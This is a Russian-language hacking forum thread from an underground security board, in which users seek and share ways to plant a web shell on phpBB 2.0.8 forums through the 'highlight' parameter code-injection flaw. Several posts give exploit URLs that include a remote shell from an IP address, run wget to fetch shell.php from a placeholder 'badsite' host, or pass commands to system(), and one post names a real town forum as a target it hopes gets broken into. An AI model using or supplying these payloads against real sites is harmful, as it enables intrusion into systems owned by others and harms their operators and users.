HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Перезагрузить страницу Вопрос про заливку шелла в Powered by phpBB 2.0.8 © 2001 phpBB Group
   
Ответ
Страница 1 из 4 1 2 3 4 >
 
Опции темы Поиск в этой теме Опции просмотра

Вопрос про заливку шелла в Powered by phpBB 2.0.8 © 2001 phpBB Group
  #1  
Старый 22.12.2004, 00:56
onyx3
Новичок
Регистрация: 22.12.2004
Сообщений: 18
С нами: 11254667

Репутация: 0
По умолчанию Вопрос про заливку шелла в Powered by phpBB 2.0.8 © 2001 phpBB Group
Люди, подскажите плизз.... буду очень признателен:

вот когда я хочу скатать шелл на сервер, используя:


http://имя хоста/modules.php?name=Forums/viewtopic.php?t=44=http://123.123.123.123/remview.php%00&t=1&highlight=%2527.include($_GET[44]).%2527


мне в ответ пишет:

he html tags you attempted to use are not allowed

[ Go Back ]

Как можно обойти эту защиту??? форум Powered by phpBB 2.0.8 © 2001 phpBB Group
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 24.12.2004, 16:48
TaskFall
Новичок
Регистрация: 24.12.2004
Сообщений: 2
С нами: 11250849

Репутация: 0
По умолчанию
можно закачать shell этой командой:
viewtopic.php?p=1&highlight=%2527.$poster=%60$ls%6 0.%2527&ls=wget%20http://badsite/shell.php

или:
viewtopic.php?p=3906&highlight=%2527.$poster=`wget %09http://badsite/shell.php`.%2527

может такая заморочка быть, типа привилегий нет чтобы файл создавать, ну тогда ищи папки доступные для записи =)
 
Ответить с цитированием

  #3  
Старый 25.12.2004, 00:42
illusion
Новичок
Регистрация: 07.12.2004
Сообщений: 27
С нами: 11275277

Репутация: 0
По умолчанию
Цитата:
Сообщение от onyx3  
http://имя хоста/modules.php?name=Forums/viewtopic.php?t=44=http://123.123.123.123/remview.php%00&t=1&highlight=%2527.include($_GET[44]).%2527
Onyx3, а почему ...t=44=... это бред! в твоём случае надо писать без t= !
 
Ответить с цитированием

  #4  
Старый 25.12.2004, 06:20
DarkDante
Новичок
Регистрация: 24.12.2004
Сообщений: 16
С нами: 11250603

Репутация: 7
Angry
а у меня вообще пишет что такой темы нет
 
Ответить с цитированием

  #5  
Старый 26.12.2004, 00:08
onyx3
Новичок
Регистрация: 22.12.2004
Сообщений: 18
С нами: 11254667

Репутация: 0
По умолчанию
Люди, ведь форум находится в : http://имяхоста/modules.php?name=Forums

И не одна из этих комманд чтобы залить шелл не действует!!!
Пишет либо - модуль не активен, либо ошибку Денвера!!!


Как можно обойти эту защиту??? форум Powered by phpBB 2.0.8 © 2001 phpBB Group
 
Ответить с цитированием

  #6  
Старый 26.12.2004, 21:20
virgoz
Участник форума
Регистрация: 16.09.2004
Сообщений: 193
С нами: 11393666

Репутация: 47
По умолчанию
поробуй выполнить команды так:
Цитата:
viewtopic.php?t=1&highlight=%2527.system($_GET[id]).%2527&id=ls -la
 
Ответить с цитированием

  #7  
Старый 27.12.2004, 23:59
onyx3
Новичок
Регистрация: 22.12.2004
Сообщений: 18
С нами: 11254667

Репутация: 0
По умолчанию
Цитата:
Сообщение от virgoz  
поробуй выполнить команды так:
мне в ответ пишет:

The html tags you attempted to use are not allowed

[ Go Back ]

Как можно обойти эту защиту??? форум Powered by phpBB 2.0.8 © 2001 phpBB Group
 
Ответить с цитированием

  #8  
Старый 05.01.2005, 17:06
onyx3
Новичок
Регистрация: 22.12.2004
Сообщений: 18
С нами: 11254667

Репутация: 0
По умолчанию
Эй ну что кто нибудь встречал такую проблему??
 
Ответить с цитированием

  #9  
Старый 10.01.2005, 19:15
onyx3
Новичок
Регистрация: 22.12.2004
Сообщений: 18
С нами: 11254667

Репутация: 0
По умолчанию
Эй народ по активнее, по активне
 
Ответить с цитированием

  #10  
Старый 11.01.2005, 23:31
ringer
Новичок
Регистрация: 11.01.2005
Сообщений: 4
С нами: 11224554

Репутация: 0
По умолчанию
вот форум версии 2.0.8
http://lipetsk.ru/town/forum2/
сам я профан во всем этом
но был рад если его ломанули
 
Ответить с цитированием
Ответ
Страница 1 из 4 1 2 3 4 >



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Какие есть уязвимости в Powered by phpBB: 2.0.0 © 2001 phpBB Group? forever777 Уязвимости CMS / форумов 4 14.12.2005 13:19
Вопрос о залиаке шелла через phpBB 2.0.6. Guest Уязвимости CMS / форумов 6 23.12.2004 22:12



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.